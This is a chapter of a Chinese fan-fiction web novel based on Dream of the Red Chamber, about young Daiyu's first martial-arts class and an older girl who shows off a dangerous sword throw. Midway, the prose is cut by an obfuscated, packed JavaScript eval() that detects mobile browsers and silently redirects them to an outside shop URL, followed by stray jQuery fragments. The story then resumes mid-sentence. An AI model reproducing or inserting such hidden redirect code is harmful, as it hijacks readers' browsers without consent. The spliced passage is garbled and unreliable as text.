上午的课程依旧遵守玩寓教于乐,半学半玩。
最后散学时,王熙凤不忘提醒午睡后莫忘了换衣服上武学课。
被新知识洗礼过的小孩们早把会典是什么抛在脑后,纷纷问着各自带了什么衣裳。
不外乎是不同材质颜色的窄袖短衫和长裤。
贴心的会准备收口又美观的长裤。
贾敏给黛玉挑的是一条缃色牡丹花罗收口长裤和一条桃红蝶恋牡丹花罗褶裥阔腿裤。
睡醒午觉,小孩们一一换了便于蹲踢跑跳的衣裳。
因第二节是武学课,第一节课识的字多与一会儿的课程相关,小孩个个热情高涨。
就连最爱玩的谢凛几个课间都没在院中玩,反倒央着探春与宝玉带他们先去了上武学课的演武场。
地方不大,除了两侧留的石子路,皆用沙土夯实,左侧竖着高低错落的木头桩子,右侧空无一物。
这就是上武学课的地方?
听裘森说学武多有趣的几个男孩见此地还不如院中游玩设施,多少有些失望。
很快一道呼呼喝喝的声音引得众人回头。
只见一团火挥着一道寒芒靠近。
随着靠近才发现那哪里是火,分明是一身着红衣的小姑娘舞着一把胳膊长的剑,剑柄上挂着红色剑穗。
如此出场惊得裘森眼珠子都要黏过去,期期艾艾问:“你耍的这是什么剑法?”又威风又好看。
陈嫖利落手剑,“此剑法名为《春秋越女剑法》。”
说着,陈嫖目光落在被人护在身后身着葱绿小朵团花妆花纱交领琵琶袖短衫,腰间系一条鹅黄色宫绦的小孩身上。
小孩扎着两个圆鼓鼓的抓髻,髻上各缠绕一圈米珠,此刻正仰头看她。
陈嫖只远远瞧过一眼,便认定这小孩就是贾瑶的那个天才小表妹,林黛玉。
陈嫖弯腰,“你就是小黛玉喽。”说着,咧嘴一笑,左上缺了一颗门牙处正往里灌风。
想到自己牙还没长出来,陈嫖立马收笑,可别吓着小孩。
“我是林黛玉。”黛玉从雪雁身后站出,点点头,“姐姐叫什么啊?”
陈嫖刚要作答,晚了一步就寻不到人的贾瑶与候留珠几个边喊着陈嫖,边跑了过来。
“我叫陈嫖,是你们大班的学姐。”说着,陈嫖忙拉住贾瑶到一边低声叮嘱,“好歹在咱小表妹面前给我留点面子。”
贾瑶心累:……这会儿想起面子了?
不等贾瑶开口,裘森见又有人来,赶忙问:“你们都会春秋越女剑法吗?”
“我们今儿能学吗?”
“除了这个剑法还有别的吗?”
“学姐能给再演示一下吗?”
一连串的问题让贾瑶几个都没时间做自我介绍,甚至于有些后悔为何要来寻陈嫖。
她们虽然也会,可没陈嫖练的熟啊。
怎么就信了她的邪,跟着一块去找园长讲和小班一块上武学课啊。
看着一双双期待的眼神,谁忍心拒绝,至少陈嫖不会。
陈嫖抽出剑,“刚离得远,其实越女剑法更重上场杀敌,不如唐时裴旻的剑舞。我再给你们演示一遍。”
随着舞动,陈嫖猛地掷出手中剑,不过高出一丈,随即飞快下落。
黛玉不由握拳,被准许陪同的雪雁激动的拉住自家姑娘,红玥等人纷纷屏气。
随着陈嫖接住剑柄,雷鸣般的掌声伴着好厉害、好棒等语传来。
陈嫖背过身挽个剑花,转过身来摆摆手道:“这都不算什么,剑圣裴旻那才叫厉害。”
“剑圣掷剑入云,高数十丈,若电光下射,引手执鞘承之,剑透空而入。”①
小孩们虽然听不大懂,但本能的叫好鼓掌。
裘森就不同了,他不懂但不妨碍他在此刻迸发出强烈的向学心,“学姐,你能教我吗?”
学会这一手,回家老爹定会一脸震惊然后夸他。
陈嫖刚才也是装着胆子多用了一点力气扔,能接住纯属碰巧。
此刻哪里敢说教,万一露馅,余光瞥见来人,陈嫖伸手一指,“咱们武学课的夫子来了,只要好好跟着夫子学,都能学会。”
今儿休沐的贾琏并柳苇一齐走来,就听围过来的小孩们七嘴八舌发问。
什么能不能空手接剑、什么有没有更厉害的剑法云云。
早年未寻到合适武学课夫子时,贾琏曾与好友带过一段时日,哪里不清楚这定是陈嫖忍不住炫耀,才认得这番问询。
贾琏拦住想溜的陈嫖,“之前怎同你说的,可是都忘了?”
“琏夫子,你、你都不教……”陈嫖话没说完就被贾琏打断。
“你可知一日为师终身为父,咱们虽不算行了正经拜师礼,无论从尊师重道还是教导过的份上,你都不该说出这样的话。”
陈嫖生无可恋道:“是是是,夫子,我错了,以后我再也不炫耀。”
“你这是认错的态度?”贾琏推开要拦自己的柳苇,“你可知刚那一下若有失误,不止你可能会受伤,甚至会殃及旁人。”
“若伤到旁人,你预备如何?”
陈嫖此刻才开始后怕,若刚那一下没接住,她预备如何?
她只是想在好友小表妹跟前炫耀一番。
刚小表妹离得很近,若伤到她那样粉雕玉琢的小孩留了疤……
陈嫖打个冷颤,不敢在想,“夫子,我保证绝不再犯,也不再拿未开刃的剑练了。”
一旁的柳苇被陈嫖最后一句保证惊到。
不愧是能逢迎各行人的贾琏,能让这位爱剑如命的小祖宗转回用木剑。
柳苇笑吟吟拍上贾琏肩膀,“既然认了错,你也莫要过分苛责。”说着,他余光瞥向身后一众小孩。
贾琏见他开尊口,也不解释,只道:“兄有命,琏自从之。”
柳苇有些诧异贾琏竟如此好说话,随着铃声响起,只能走到正中,开始讲解关于武学课的一众事宜。
重中之重的是安全,其次是不能互相以所学斗殴。
接下来便是大班的武学展示,一众叫好后是小班蹲马步、走梅花桩的基础教学。
因有大班的演示在前,小孩们也都能咬牙坚持蹲下来。
等到了梅花桩,走起来高高低低,就连黛玉眉眼都松快了两分。
走过一遍熟悉后,裘森几个催着前面慢的,“走快些,再快些。”
不多时就得了大班学姐不能贪快催人和注意安全的叮嘱。
正在乐趣上的裘森哪里会听,瞧着前面人掉下梅花桩,自己飞快跨过去。
小小梅花桩,他轻松……
满眼得意的裘森脚下一空,没踩住最后一个梅花桩,摔了下去。
因着桩不高,裘森只是踉跄两下稳住身形。
卫若兰见状,走了过来,“学弟,你可有事?”
见着面若好女,眉间一点朱砂红的来者,裘森想起那日被黛玉说的无法还嘴。
裘森避开伸来的手,“我能有什么事,不过是想体验一下。”余光见有人瞧向自己,扬头道:“这样跳下来,还挺有趣。”说着,站上最后一个往下蹦。
卫若兰见他来回蹦跳无碍,将手收回,继续练习自己未精通的挑、刺去了。
柳苇见人无事,由着裘森跳来蹦去。
也是他怕孩子出意外,周遭都是细沙,木桩外围缠了麻绳又裹了加棉花的粗布。磕到了,最多青红一会儿,不会真的伤到。
这一处建的不是正经习武的梅花桩,是为了让小孩们多走走跳跳。
甚至园长还特意叮嘱过,小班只要不受伤,不打架,可随意由着她们自己玩。
若想挑好苗子,等升了大班,孩子们自己也有了一定的了解和喜好再开始。
譬如陈嫖,让柳苇又爱又恨。
小姑娘很有天赋,可也因这份天赋,学得快练得快,很爱炫耀显摆,甚至天天卯足了劲儿想玩真剑。
上次比试得了第一,奖励就是可以用不开锋的剑练习。
今儿也不知究竟为何,让陈嫖竟连奖励都不要了。
柳苇不是追
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17875363|212243||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
根究底的性子,只要结果是好的,过程不重要。
纠正一处错误,他余光扫向梅花桩,无人受伤。
那个叫裘森的正呼朋引伴一块玩跳桩,柳苇背过身,唇角轻划过一抹弧度。
他们当年哪有这样好的条件啊。
见夫子只是瞧瞧并不阻止,谢凛也学着跳下去。
不过一会儿,小孩们就各自找到了不同的玩法。
也有不喜欢蹦来跳去的,偷偷在角落抠沙子玩。
更有练累的退到一旁休息的,湘云与黛玉便是其中之二。
练完一套剑法的陈嫖瞄准时机,跑到黛玉跟前,“小表,我同你表姐是好姐妹,我能唤你妹妹吗?”
黛玉很喜欢这个耍剑漂亮的陈嫖姐姐,“当然。还未问姐姐可是汉朝馆陶公主刘嫖同名?”
汉朝公主!
陈嫖没听过,但不妨碍她心向往之,“妹妹可能详细讲讲?”
黛玉能知道也是因娘亲给她讲金屋藏娇的故事提及馆陶公主刘嫖。
黛玉将知晓的一一道来。
“刘嫖公主是汉文帝长女,曾在汉武帝幼时问可愿娶她的女儿阿娇,答若得阿娇作妇,当作金屋贮之。”
“后公主与汉武帝生母合作立下儿女亲家,推当时未有身份的汉武帝为太子,登基后立阿娇为后。此事被称为金屋藏娇。”
若非有刘嫖运作,阿娇何以为后又在后来退居长门宫。
黛玉虽不懂汉朝历史,但她觉得刘嫖公主很厉害。
陈嫖同样如此。
她还是第一次听闻公主可搅动太子、皇位,甚至皇后之位。
这样的奇女子,本朝从未有过。
陈嫖心里似燃了一把火。
下一瞬,被黛玉的话浇灭,“姐姐剑法如此厉害,学识是否也同样厉害?”
“额……”该怎么形容她那险些不及格的课程呢?
陈嫖开始转移话题,“妹妹可喜欢刚刚我舞的那套剑法?”
黛玉点点头,“当然喜欢。”
陈嫖迫不及待问:“那姐姐教你如何?”
黛玉想着刚刚夫子说要循序渐进,但也不打算拒绝好意,“多谢姐姐。”
“只是姐姐教我剑法,我不回报一二,心里难安。”
啊?竟还能这样?
陈嫖不愿意瞧如此灵动可爱的妹妹蹙眉,眼一闭再睁开道:“我字不好,妹妹可愿教我?”
怕黛玉不信,陈嫖用木剑在沙地上写了两个字,歪歪扭扭,状如初学。
不,比初学的还要差些。
黛玉抿抿唇也写了两个,“姐姐若不嫌弃,咱们一块学可好?”
陈嫖有些吃惊,小仙子似的人竟写不好字?!
黛玉瞧出了震惊,轻声解释,“娘亲说字想要好需要多练,可爹爹说我还小骨头太软,不能过早练字,如今一天只能练半篇大字。”
就这,还是她极力争取来的。
黛玉仰头,“姐姐可愿同我一起?”
陈嫖望着满眼稀碎星光的黛玉,鬼使神差点了头。
算了,自己努力学学,回头教妹妹。
至于骨头太软,不让写。
三岁就跟着哥哥爬树挨打装哭的陈嫖表示:姐姐懂,这是挽尊!
等后来,陈嫖无数次庆幸,幸好当时没把心里话说出来。
此刻满心瞧着黛玉妹妹在沙地上写大字的陈嫖绞尽脑汁夸。
“哇,妹妹写的这一笔真直。”
黛玉瞧一眼因为受不住力道划出去的长横,抿纯继续。
“这一笔力道好!”
黛玉看着刚过于用力,以至于沙子多划出去的捺。
“姐姐好眼力。”
陈嫖得了夸赞,瞧得越发认真,心里琢磨着一会儿回去就练字,不然可没能夸的了。
满心有了香香软软妹妹的陈嫖丝毫没察觉到危险将近。
玩累了的裘森一步步挪到柳苇夫子跟前。
看着裘森一会儿偷瞄一眼,柳苇忍不住问:“可是有事?”